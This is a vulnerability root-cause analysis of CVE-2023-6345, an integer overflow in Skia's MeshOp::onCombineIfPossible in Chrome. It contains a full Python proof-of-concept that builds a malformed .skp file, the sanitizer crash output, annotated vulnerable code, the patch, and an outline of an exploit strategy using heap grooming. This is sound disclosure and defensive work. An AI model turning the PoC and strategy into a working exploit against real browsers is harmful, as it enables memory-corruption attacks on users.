# CVE-2023-6345: Integer overflow in Skia MeshOp::onCombineIfPossible
*Benoît Sevens and Clement Lecigne*

## The Basics

**Disclosure or Patch Date:** November 28, 2023

**Product:** Google Chrome

**Advisory:** https://chromereleases.googleblog.com/2023/11/stable-channel-update-for-desktop_28.html

**Affected Versions:** Versions older than 119.0.6045.199

**First Patched Version:** 119.0.6045.199

**Issue/Bug Report:** https://crbug.com/1505053

**Patch CL:** https://skia.googlesource.com/skia/+/6169a1fabae1743709bc9641ad43fcbb6a4f62e1

**Bug-Introducing CL:** https://skia.googlesource.com/skia/+/8a85ab0d96a1128c64fa21133518e835506b3895

**Reporter(s):** Benoît Sevens and Clément Lecigne of Google's Threat Analysis Group

## The Code

**Proof-of-concept:**

Compile Skia with [ASAN](https://skia.org/docs/dev/testing/xsan/). The following Python script `gen.py` will create a `poc.skp` in the current directory:

```
import struct
import sys

kSkBlenderInSkPaint = 87
kXor = 11
sizeof_SkPoint = 8
sizeof_uint16_t = 2
kHasTexs_Mask = 0x100
kPictureData_TrailingStreamByteAfterPictInfo = 1
DRAW_VERTICES_OBJECT = 62
INT32_MAX = (1 << 31) - 1

vertexCount = 1 << 16  # Optimized to have as small as possible output .skp
indexCount = 0
name = b'poc'

def p32(x):
    return struct.pack("<I", x)

def p8(x):
    return bytes([x])

def f32(x):
    return struct.pack("<f", x)

def tag(s):
    return s.encode()[::-1]

info = b'skiapict'
info += p32(kSkBlenderInSkPaint)  # SkPictInfo.fVersion
info += f32(0)  # SkRect.fLeft
info += f32(0)  # SkRect.fTop
info += f32(30)  # SkRect.fRight
info += f32(30)  # SkRect.fBottom
info += p8(kPictureData_TrailingStreamByteAfterPictInfo)

factory = tag('fact')
factory += p32(1)  # size
factory += p32(1)  # SkFactoryPlayback size
factory += p8(len(name)) 
factory += name

paint_buffer = tag('pnt ')
paint_buffer += p32(1)  # size
paint_buffer += f32(1)  # SkPaint.fWidth
paint_buffer += f32(0)  # SkPaitn.fMiterLimit
paint_buffer += f32(255)  # SkColor4f.fR
paint_buffer += f32(255)  # SkColor4f.fG
paint_buffer += f32(255)  # SkColor4f.fB
paint_buffer += f32(0)  # SkColor4f.fA
paint_buffer += p32(0)  # flatFlags

vertices_buffer = tag('vert')
vertices_buffer += p32(1)  # size

vertices_buffer += p32(kHasTexs_Mask) 
vertices_buffer += p32(vertexCount)
vertices_buffer += p32(indexCount)
fVSize = vertexCount * sizeof_SkPoint  # positions
fTSize = vertexCount * sizeof_SkPoint  # texCoords
fCSize = 0  # colors
fISize = indexCount * sizeof_uint16_t  # indices
vertices_buffer += p32(fVSize)
positions = b''
for _ in range(2):  # We need at least 2 distinct points to not bail out early.
    positions += f32(1)
positions += f32(0) * ((fVSize - len(positions)) // 4)
vertices_buffer += positions
for size in [fTSize, fCSize, fISize]:
    vertices_buffer += p32(size)
    vertices_buffer += b'\0' * size

buffer_size = tag('aray')
buffer_size += p32(len(paint_buffer) + len(vertices_buffer))

reader = tag('read')
op = DRAW_VERTICES_OBJECT
op_size = 16
reader_op = p32((op << 24) + op_size)
reader_op += p32(1)  # paint
reader_op += p32(1)  # vertices
reader_op += p32(0)  # boneCount
reader_op += p32(kXor)  # bmode
reader_ops = reader_op * (INT32_MAX // vertexCount + 1)  # The "+ 1" will trigger the overflow
reader += p32(len(reader_ops))
reader += reader_ops

eof = tag('eof ')

with open(sys.argv[1], 'wb') as f:
    f.write(info)
    f.write(factory)
    f.write(buffer_size)
    f.write(paint_buffer)
    f.write(vertices_buffer)
    f.write(reader)
    f.write(eof)
```

Generate and parse the Skia picture with the following commands:

```
$ python3 gen.py poc.skp
$ ./skia/out/asan/skpbench --src poc.skp --config gles
   accum    median       max       min   stddev  samples  sample_ms  clock  metric  config    bench  
../../src/gpu/ganesh/ops/DrawMeshOp.cpp:1225:18: runtime error: signed integer overflow: 2146435072 + 1048576 cannot be represented in type 'int'  
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ../../src/gpu/ganesh/ops/DrawMeshOp.cpp:1225:18 in   
```

**Exploit sample:** N/A

**Did you have access to the exploit sample when doing the analysis?** Yes

## The Vulnerability

**Bug class:** Integer overflow leading to a heap out of bounds write

**Vulnerability details:**

When Skia draws a Skia picture ("skp"), `MeshOp::onCombineIfPossible` will be called if multiple `DRAW_VERTICES_OBJECT` operations are performed (see proof of concept code for an example). `MeshOp::onCombineIfPossible` tries to combine the current `MeshOp` with the next `MeshOp` ("`that`"). This function will perform a few sanity checks and if they pass, it will extend `fMeshes` with those of the other `MeshOp` ([1]), as well as increment the `fVertexCount` and `fIndexCount` with those of the other `MeshOp` ([2]).

```
GrOp::CombineResult MeshOp::onCombineIfPossible(GrOp* t, SkArenaAlloc*, const GrCaps& caps) {
    auto that = t->cast<MeshOp>();

...

    fMeshes.move_back_n(that->fMeshes.size(), that->fMeshes.begin());  // [1]
    fVertexCount += that->fVertexCount;  // [2]
    fIndexCount  += that->fIndexCount;
    return CombineResult::kMerged;
}
```

However no sanity check is performed to verify that the addition at [1] will not overflow, with `fVertexCount` being defined as a `int`, which is 32-bit in this case.

Later on in `MeshOp::onPrepareDraws`, a `skgpu::VertexWriter verts` is allocated based on the (potentially overflowed) `fVertexCount` ([3]). A `skgpu::VertexWriter` is a specialized version of a `skgpu::BufferWriter`. `GrMeshDrawTarget::makeVertexWriter` will allocate a backing buffer by calling `GrOpFlushState::makeVertexSpace`. The size of the vertex buffer is eventually calculated in `GrVertexBufferAllocPool::makeSpace` by multiplying the `vertexStride` with the `fVertexCount`.

```
void MeshOp::onPrepareDraws(GrMeshDrawTarget* target) {
    size_t vertexStride = fSpecification->stride();
    sk_sp<const GrBuffer> vertexBuffer;
    int firstVertex;
    std::tie(vertexBuffer, firstVertex) = fMeshes[0].gpuVB();
    if (!vertexBuffer) {
        skgpu::VertexWriter verts = target->makeVertexWriter(vertexStride,  // [3]
                                                             fVertexCount,
                                                             &vertexBuffer,
                                                             &firstVertex);
        if (!verts) {
            SkDebugf("Could not allocate vertices.\n");
            return;
        }
        bool transform = fViewMatrix == SkMatrix::InvalidMatrix();
        for (const auto& m : fMeshes) {
            m.writeVertices(verts, *fSpecification, transform);  // [4]
        }
...
}
```

Finally, for every mesh of `fMeshes`, the vertices are then written to `verts` ([4]). Since this time the vertices are taken from the individual `fMeshes`, it can overflow the previously allocated buffer if `fVertexCount` has overflowed.

Note that writes to a `skgpu::VertexWriter` are [validated](https://skia.googlesource.com/skia/+/b18b594b230db2df150ab4f96b82313a59f24f1e/src/gpu/BufferWriter.h#271):

```
    void validate(size_t bytesToWrite) const {
        // If the buffer writer had an end marked, make sure we're not crossing it.
        // Ideally, all creators of BufferWriters mark the end, but a lot of legacy code is not set
        // up to easily do this.
        SkASSERT(fPtr || bytesToWrite == 0);
        SkASSERT(!fEnd || Mark(fPtr, bytesToWrite) <= fEnd);  // [5]
    }
```

At [5] the out of bounds write will be caught on debug builds. However on release builds, `SkAssert` calls [are compiled out](https://skia.googlesource.com/skia/+/b18b594b230db2df150ab4f96b82313a59f24f1e/include/private/base/SkAssert.h#100).

**Patch analysis:**

The patch verifies that the addition of `fVertexCount` and `that->fVertexCount` will not overflow.

```
+    if (fVertexCount > INT32_MAX - that->fVertexCount) {
+        return CombineResult::kCannotCombine;
+    }
```

**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:**

Both fuzzing and code auditing are viable ways to find this vulnerability.

**(Historical/present/future) context of bug:** Another integer overflow in Skia, tracked as [CVE-2023-2136](https://issues.chromium.org/issues/40064011) and in a different component, was found exploited in the wild a few months earlier.

## The Exploit

(The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).)

**Exploit strategy (or strategies):** 

In contrast with the above proof of concept, the exploit has two entries in the vertices buffer, one with a `fVertexCount` of A and a second one with a `fVertexCount` of B. The first `DRAW_VERTICES_OBJECT` operation refers to A and the N next operations refer to B. A and B are chosen so that:

```
(A + N * B) % INT_MAX < A
```

The left hand side of the equation will be the overflown allocated size, while the right hand side will be the number of bytes written in the first `writeVertices` call. By using two vertices buffer, the values A, B and N can be finetuned to have the buffer land in the right heap location (after some heap grooming) and overflow the neighboring object with the desired amount.

**Exploit flow:** N/A

**Known cases of the same exploit flow:**

Exploits for [CVE-2023-2136](https://issues.chromium.org/issues/40064011) and CVE-2023-6345 used the same technique to reach Skia from within the Chrome renderer (i.e. by using a `DrawSlugOp` command).

**Part of an exploit chain?** This sandbox escape would typically be chained with a renderer exploit before and an LPE exploit after.

## The Next Steps

### Variant analysis

**Areas/approach for variant analysis (and why):** Analyse similar patterns in other `onCombine...` functions of other operations.

**Found variants:** None

### Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

**Ideas to kill the bug class:**

Some memory safe languages would detect such integer overflows at runtime.

Otherwise, use of overflow checking functions or macros for additions/substractions (instead of raw additions/substractions), would also mitigate such bugs. Such functions are actually used in some places in Skia, such as [here](https://skia.googlesource.com/skia/+/b18b594b230db2df150ab4f96b82313a59f24f1e/src/gpu/ganesh/GrBufferAllocPool.cpp#203). Of course, using such functions consistently thoughout the codebase is prone to errors.

**Ideas to mitigate the exploit flow:**

Hardware memory tagging technologies, such as Arm MTE, will detect the heap buffer out of bounds accesses.

**Other potential improvements:** N/A

### 0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? N/A

## Other References

N/A